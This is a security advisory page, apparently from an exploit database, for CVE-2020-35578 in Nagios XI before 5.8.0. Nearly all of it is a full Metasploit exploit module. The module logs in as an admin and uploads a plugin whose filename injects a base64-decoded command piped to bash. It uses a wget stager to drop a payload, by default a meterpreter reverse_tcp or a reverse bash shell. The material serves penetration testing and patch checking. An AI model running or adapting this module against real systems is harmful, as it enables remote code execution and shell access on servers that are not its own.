Nagios XI Remote Code Execution

2021.04.15
Credit: Haboob Team
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::NagiosXi include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Nagios XI Prior to 5.8.0 - Plugins Filename Authenticated Remote Code Exection', 'Description' => %q{ This module exploits a command injection vulnerability (CVE-2020-35578) in the `/admin/monitoringplugins.php` page of Nagios XI versions prior to 5.8.0 when uploading plugins. Successful exploitation allows an authenticated admin user to achieve remote code execution as the `apache` user by uploading a malicious plugin. Valid credentials for a Nagios XI admin user are required. This module has been successfully tested against Nagios versions XI 5.3.0 and 5.7.5, both running on CentOS 7. }, 'License' => MSF_LICENSE, 'Author' => [ 'Haboob Team', # https://haboob.sa - PoC 'Erik Wynter' # @wyntererik - Metasploit' ], 'References' => [ ['CVE', '2020-35578'], ['EDB', '49422'] ], 'Platform' => %w[linux unix], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD], 'Targets' => [ [ 'Linux (x86/x64)', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'linux', # only the wget and perhaps the curl CmdStagers work against a typical Nagios XI host (CentOS 7 minimal) if Nagios XI was installed according to the documentation 'CmdStagerFlavor' => :wget, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2020-12-19', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [FIRST_ATTEMPT_FAIL] # payload may not connect back the first time } ) ) register_options [ OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]) ] end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def finish_install datastore['FINISH_INSTALL'] end def check # Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns # an array containing the http response body of a get request to index.php and the session cookies login_result, res_array = nagios_xi_login(username, password, finish_install) case login_result when 1..3 # An error occurred return CheckCode::Unknown(res_array[0]) when 4 # Nagios XI is not fully installed install_result = install_nagios_xi(password) if install_result return CheckCode::Unknown(install_result[1]) end login_result, res_array = login_after_install_or_license(username, password, finish_install) case login_result when 1..3 # An error occurred return CheckCode::Unknown(res_array[0]) when 4 # Nagios XI is still not fully installed return CheckCode::Detected('Failed to install Nagios XI on the target.') end end # when 5 is excluded from the case statement above to prevent having to use this code block twice. # Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here. if login_result == 5 # the Nagios XI license agreement has not been signed auth_cookies, nsp = res_array sign_license_result = sign_license_agreement(auth_cookies, nsp) if sign_license_result return CheckCode::Unknown(sign_license_result[1]) end login_result, res_array = login_after_install_or_license(username, password, finish_install) case login_result when 1..3 return CheckCode::Unknown(res_array[0]) when 5 # the Nagios XI license agreement still has not been signed return CheckCode::Detected('Failed to sign the license agreement.') end end print_good('Successfully authenticated to Nagios XI') # Obtain the Nagios XI version @auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already nagios_version = nagios_xi_version(res_array[0]) if nagios_version.nil? return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard') end print_status("Target is Nagios XI with version #{nagios_version}") # check if the target is actually vulnerable if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-h]/.match(nagios_version) || nagios_version == '5R1.0' nagios_version = '1.0.0' # Set to really old version as a placeholder. Basically we don't want to exploit these versions. end @version = Rex::Version.new(nagios_version) if @version < Rex::Version.new('5.8.0') return CheckCode::Appears end return CheckCode::Safe end def execute_command(cmd, _opts = {}) # Convert the payload to hex ASCII and then Base64 encode the payload. # This is necessary for the exploit to work. payload_ascii = Rex::Text.to_hex_ascii(cmd) payload_base64 = Rex::Text.encode_base64(payload_ascii) payload = ";echo #{payload_base64} | base64 -d | bash;#" register_file_for_cleanup("/usr/local/nagios/libexec/#{payload}") # deleting the payload via the web interface doesn't seem possible # generate post data post_data = Rex::MIME::Message.new random_post_content = rand_text_alphanumeric(8..12) post_data.add_part('', nil, nil, 'form-data; name="upload"') post_data.add_part(@nsp, nil, nil, 'form-data; name="nsp"') post_data.add_part(random_post_content, 'text/plain', nil, "form-data; name=\"uploadedfile\"; filename=\"#{payload}\"") post_data.add_part('1', nil, nil, 'form-data; name="convert_to_unix"') # upload payload send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php'), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => @auth_cookies, 'data' => post_data.to_s }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload end def exploit if @version < Rex::Version.new('5.3.0') fail_with(Failure::NoTarget, 'Target is vulnerable but this module currently does not support exploiting target prior to 5.3.0!') end # visit /admin/monitoringplugins.php in order to get the nsp token required to upload the payload res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php'), 'cookie' => @auth_cookies }) unless res fail_with(Failure::Disconnected, "Connection failed while trying to visit `#{normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')}`") end unless res.code == 200 && res.body.include?('<title>Manage Plugins &middot; Nagios XI</title>') fail_with(Failure::UnexpectedReply, "Unexpected response received while trying to visit `#{normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')}`") end # grab the nsp token, using the Nagios XI mixin @nsp = get_nsp(res) if @nsp.blank? fail_with(Failure::Unknown, 'Failed to obtain the nsp token required to upload the payload') end if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top